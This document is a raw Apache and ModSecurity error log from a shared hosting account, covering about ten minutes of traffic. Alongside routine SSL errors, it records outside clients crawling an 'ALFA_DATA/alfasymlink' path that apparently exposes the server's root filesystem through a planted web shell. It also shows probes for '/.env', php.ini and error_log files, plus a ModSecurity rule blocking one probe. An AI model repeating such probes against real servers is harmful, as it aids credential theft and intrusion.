[Mon Oct 26 10:05:11.388882 2026] [security2:error] [pid 3044225:tid 3044225] [client 128.90.128.8:46884] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/wp-login.php"] [unique_id "at9eF09qPMNS87qzj5gkVAAAABE"], referer: http://hoteles2.sherwinpinturas.com/wp-login.php
[Mon Oct 26 10:05:11.388907 2026] [security2:error] [pid 3044225:tid 3044225] [client 128.90.128.8:46884] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/wp-login.php"] [unique_id "at9eF09qPMNS87qzj5gkVAAAABE"], referer: http://hoteles2.sherwinpinturas.com/wp-login.php
[Mon Oct 26 10:05:14.260456 2026] [authz_core:error] [pid 3044309:tid 3044309] [client 47.79.201.243:35700] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Mon Oct 26 10:05:18.927844 2026] [core:error] [pid 3044228:tid 3044228] (13)Permission denied: [client 34.231.45.47:42658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/node0/cpu1/crash_notes
[Mon Oct 26 10:05:19.943495 2026] [authz_core:error] [pid 3039833:tid 3039833] [client 139.59.67.83:56184] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 10:05:21.232830 2026] [authz_core:error] [pid 3042122:tid 3042122] [client 139.59.67.83:36806] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 10:05:22.329719 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 185.191.171.15:52052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/usersize
[Mon Oct 26 10:05:23.128716 2026] [proxy_fcgi:error] [pid 3044228:tid 3044228] [client 128.90.128.8:39676] AH01071: Got error 'Primary script unknown', referer: http://hoteles1.sherwinpinturas.com/wp-login.php
[Mon Oct 26 10:05:26.765137 2026] [ssl:error] [pid 3044225:tid 3044225] (70014)End of file found: [client 3.216.13.10:60955] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:05:39.052908 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 98.82.66.172:49356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:05:42.671091 2026] [ssl:error] [pid 3044309:tid 3044309] (70014)End of file found: [client 54.156.124.2:32440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:05:49.038743 2026] [core:error] [pid 3038660:tid 3038660] (13)Permission denied: [client 185.191.171.7:49310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/min_partial
[Mon Oct 26 10:05:52.040711 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9eNTs8VJ7QW5firx_lwAAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:05:52.040807 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9eNTs8VJ7QW5firx_lwAAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:05:54.879872 2026] [ssl:error] [pid 3044228:tid 3044228] (70014)End of file found: [client 3.224.205.25:34928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:06.973452 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 52.45.29.57:60233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:11.106973 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 54.225.81.20:13377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:14.761641 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.227.156.153:35111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:22.739780 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 44.218.6.93:25227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:26.906809 2026] [core:error] [pid 3038660:tid 3038660] (13)Permission denied: [client 185.191.171.14:19750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/order
[Mon Oct 26 10:06:26.907465 2026] [security2:error] [pid 3038660:tid 3038660] [client 185.191.171.14:19750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/order"] [unique_id "at9eYpRlTJaCWkb9SEGOnAAAAAM"]
[Mon Oct 26 10:06:26.907510 2026] [security2:error] [pid 3038660:tid 3038660] [client 185.191.171.14:19750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/order"] [unique_id "at9eYpRlTJaCWkb9SEGOnAAAAAM"]
[Mon Oct 26 10:06:34.834548 2026] [ssl:error] [pid 3044228:tid 3044228] (70014)End of file found: [client 34.206.193.60:41528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:38.897999 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.212.205.90:16616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:42.935386 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 100.29.160.53:15488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:43.103206 2026] [security2:error] [pid 3043007:tid 3043007] [client 170.106.180.153:47432] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at9ec7Q4UFPvKePwo35b3gAAAAg"]
[Mon Oct 26 10:06:46.791386 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 3.218.103.254:57378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:50.913721 2026] [ssl:error] [pid 3044230:tid 3044230] (70014)End of file found: [client 54.235.172.96:42806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:55.014401 2026] [ssl:error] [pid 3044228:tid 3044228] (70014)End of file found: [client 54.147.182.90:65313] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:06:58.862106 2026] [ssl:error] [pid 3044225:tid 3044225] (70014)End of file found: [client 44.208.223.68:23718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:07:02.982077 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 52.70.209.13:9986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:07/subsystem/drivers/hardware_error_device/bind
[Mon Oct 26 10:07:11.070887 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 35.169.240.53:45392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:07:14.934987 2026] [ssl:error] [pid 3044230:tid 3044230] (70014)End of file found: [client 34.225.138.57:8348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:07:26.902764 2026] [ssl:error] [pid 3044230:tid 3044230] (70014)End of file found: [client 18.213.70.100:20940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:07:30.852801 2026] [ssl:error] [pid 3039833:tid 3039833] (70014)End of file found: [client 54.80.185.200:17878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:07:43.162627 2026] [core:error] [pid 3039833:tid 3039833] (13)Permission denied: [client 3.218.103.254:28141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/ec/unbind
[Mon Oct 26 10:07:51.072623 2026] [ssl:error] [pid 3044228:tid 3044228] (70014)End of file found: [client 50.19.221.48:33446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:07:55.151487 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 52.22.87.224:20314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/xen-platform-pci/uevent
[Mon Oct 26 10:07:59.856208 2026] [authz_core:error] [pid 3040031:tid 3040031] [client 34.198.189.65:9720] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 10:08:03.217410 2026] [ssl:error] [pid 3044228:tid 3044228] (70014)End of file found: [client 50.16.248.61:40230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:07.475462 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 35.174.141.243:21110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/xen-platform-pci/new_id
[Mon Oct 26 10:08:11.178019 2026] [core:error] [pid 3044309:tid 3044309] (13)Permission denied: [client 18.232.11.247:5356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/pvpanic/bind
[Mon Oct 26 10:08:15.118222 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 52.203.237.170:24352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:15.558752 2026] [core:error] [pid 3042122:tid 3042122] (13)Permission denied: [client 185.191.171.7:23190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm_intel/sections/__mcount_loc
[Mon Oct 26 10:08:23.146689 2026] [ssl:error] [pid 3044228:tid 3044228] (70014)End of file found: [client 44.206.93.215:13320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:27.269838 2026] [core:error] [pid 3044309:tid 3044309] (13)Permission denied: [client 98.82.40.168:40453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/ac/unbind
[Mon Oct 26 10:08:38.961546 2026] [ssl:error] [pid 3044265:tid 3044265] (70014)End of file found: [client 44.221.105.234:4457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:43.876846 2026] [authz_core:error] [pid 3040031:tid 3040031] [client 54.174.104.1:12639] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 10:08:44.441039 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 44.212.131.50:26220] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:46.964883 2026] [ssl:error] [pid 3044280:tid 3044280] (70014)End of file found: [client 34.206.249.188:9669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:55.234787 2026] [ssl:error] [pid 3044293:tid 3044293] (70014)End of file found: [client 54.147.238.89:43685] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:08:59.245969 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.226.106.93:17882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:09:03.073530 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 34.236.41.241:55327] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:09:11.787076 2026] [ssl:error] [pid 3044272:tid 3044272] (70014)End of file found: [client 3.213.85.234:35235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:09:15.301658 2026] [ssl:error] [pid 3044293:tid 3044293] (70014)End of file found: [client 34.204.150.196:47441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:09:19.878562 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 52.44.229.124:20682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:09:27.442188 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.85.126.86:6612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:09:43.537134 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 52.5.232.250:12301] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/node0/subsystem/drivers_probe
[Mon Oct 26 10:09:59.235341 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 98.84.70.201:46118] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:03.340293 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.221.203.24:36305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:07.322638 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 18.207.79.144:37396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:12.932535 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 3.231.193.38:1660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:15.309929 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 18.205.91.101:35808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:19.524516 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 85.208.96.200:43464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:23.421006 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 107.20.181.148:16635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:23.474853 2026] [security2:error] [pid 3044292:tid 3044292] [client 130.12.180.165:63742] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9fT6mC43QiEQ13LiRxKAAAADY"]
[Mon Oct 26 10:10:23.475102 2026] [security2:error] [pid 3044292:tid 3044292] [client 130.12.180.165:63742] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9fT6mC43QiEQ13LiRxKAAAADY"]
[Mon Oct 26 10:10:23.475449 2026] [security2:error] [pid 3044292:tid 3044292] [client 130.12.180.165:63742] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9fT6mC43QiEQ13LiRxKAAAADY"]
[Mon Oct 26 10:10:35.349370 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 52.70.123.241:52797] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:43.620103 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 54.235.172.108:25952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:53.939942 2026] [core:error] [pid 3044291:tid 3044291] (13)Permission denied: [client 85.208.96.202:43262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/objects_partial
[Mon Oct 26 10:10:55.557326 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 52.7.33.248:22671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:10:59.457250 2026] [security2:error] [pid 3027735:tid 3027735] [client 107.172.76.131:54371] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9fZ3T09R7Np-FQ85dlDwAAAAo"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:10:59.457338 2026] [security2:error] [pid 3027735:tid 3027735] [client 107.172.76.131:54371] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9fZ3T09R7Np-FQ85dlDwAAAAo"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:10:59.658062 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 23.21.119.232:12982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:03.480009 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 35.171.141.42:28399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:07.379827 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 98.82.59.253:51397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:11.664774 2026] [ssl:error] [pid 3039832:tid 3039832] (70014)End of file found: [client 44.208.223.68:54692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:19.481977 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 23.23.104.107:53277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:27.533732 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 52.203.68.145:59689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:30.913605 2026] [security2:error] [pid 3039887:tid 3039887] [client 107.172.76.131:54365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9fhz67rV4hhLyl0laAmQAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:11:30.913652 2026] [security2:error] [pid 3039887:tid 3039887] [client 107.172.76.131:54365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9fhz67rV4hhLyl0laAmQAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:11:39.636787 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 34.206.212.24:56727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:43.478329 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 44.193.102.198:46129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:47.722148 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 18.214.251.19:15741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:11:51.652882 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 54.204.12.115:59969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:00.580040 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 23.21.250.48:26002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:10.227561 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9frjs8VJ7QW5firx_l3AAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:12:10.227635 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54373] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9frjs8VJ7QW5firx_l3AAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 10:12:19.575341 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 98.82.59.253:63763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:27.629684 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 100.28.44.58:48064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:39.720789 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 35.169.102.85:30966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:47.693108 2026] [ssl:error] [pid 3044292:tid 3044292] (70014)End of file found: [client 18.213.102.186:56493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:51.574203 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 34.197.28.78:5557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:56.158494 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 18.209.201.119:1924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:12:59.715713 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 98.82.38.120:30399] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/ttyS3/device/subsystem/drivers/amd_gpio/uevent
[Mon Oct 26 10:13:03.719113 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 54.235.158.162:61817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/align
[Mon Oct 26 10:13:08.827601 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 35.174.253.85:10347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:13:15.751587 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 98.83.177.42:58893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/LNXPWRBN:00/subsystem/devices/device:0e/eject
[Mon Oct 26 10:13:39.853296 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.22.87.224:58220] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:13:47.967195 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.212.86.97:44602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:13:59.982681 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 44.209.187.99:44184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:14:16.891382 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 52.4.238.8:23682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:14:31.686973 2026] [security2:error] [pid 3044312:tid 3044312] [client 43.165.198.224:56232] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/"] [unique_id "at9gR9T_ySsYV2zOlWu_IQAAAEo"]
[Mon Oct 26 10:14:38.915482 2026] [security2:error] [pid 3041799:tid 3041799] [client 107.172.76.131:54364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9gQrJEa6xP7LBmBmOpVgAAAAI"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:14:38.915551 2026] [security2:error] [pid 3041799:tid 3041799] [client 107.172.76.131:54364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9gQrJEa6xP7LBmBmOpVgAAAAI"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 10:14:47.618988 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 44.215.235.20:58883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:14:55.705360 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 54.91.122.193:35146] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:15:05.200023 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 185.191.171.15:61952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/objects
[Mon Oct 26 10:15:11.717365 2026] [ssl:error] [pid 3044291:tid 3044291] (70014)End of file found: [client 54.88.84.219:31400] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:15:15.546307 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 3.223.134.5:7811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:15:23.684070 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 100.28.118.16:6060] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:15:27.407998 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 35.171.117.160:44038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:15:39.435856 2026] [security2:error] [pid 3044299:tid 3044299] [client 51.89.71.91:27710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "at9giwWgOHT1_mp01Juk2wAAAD0"]
[Mon Oct 26 10:15:39.435912 2026] [security2:error] [pid 3044299:tid 3044299] [client 51.89.71.91:27710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "at9giwWgOHT1_mp01Juk2wAAAD0"]
[Mon Oct 26 10:15:39.524915 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 44.221.180.179:11234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:15:42.562706 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 85.208.96.196:16692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/partial
[Mon Oct 26 10:15:43.439705 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 54.225.199.17:37765] AH02013: coalesce failed to read from data bucket
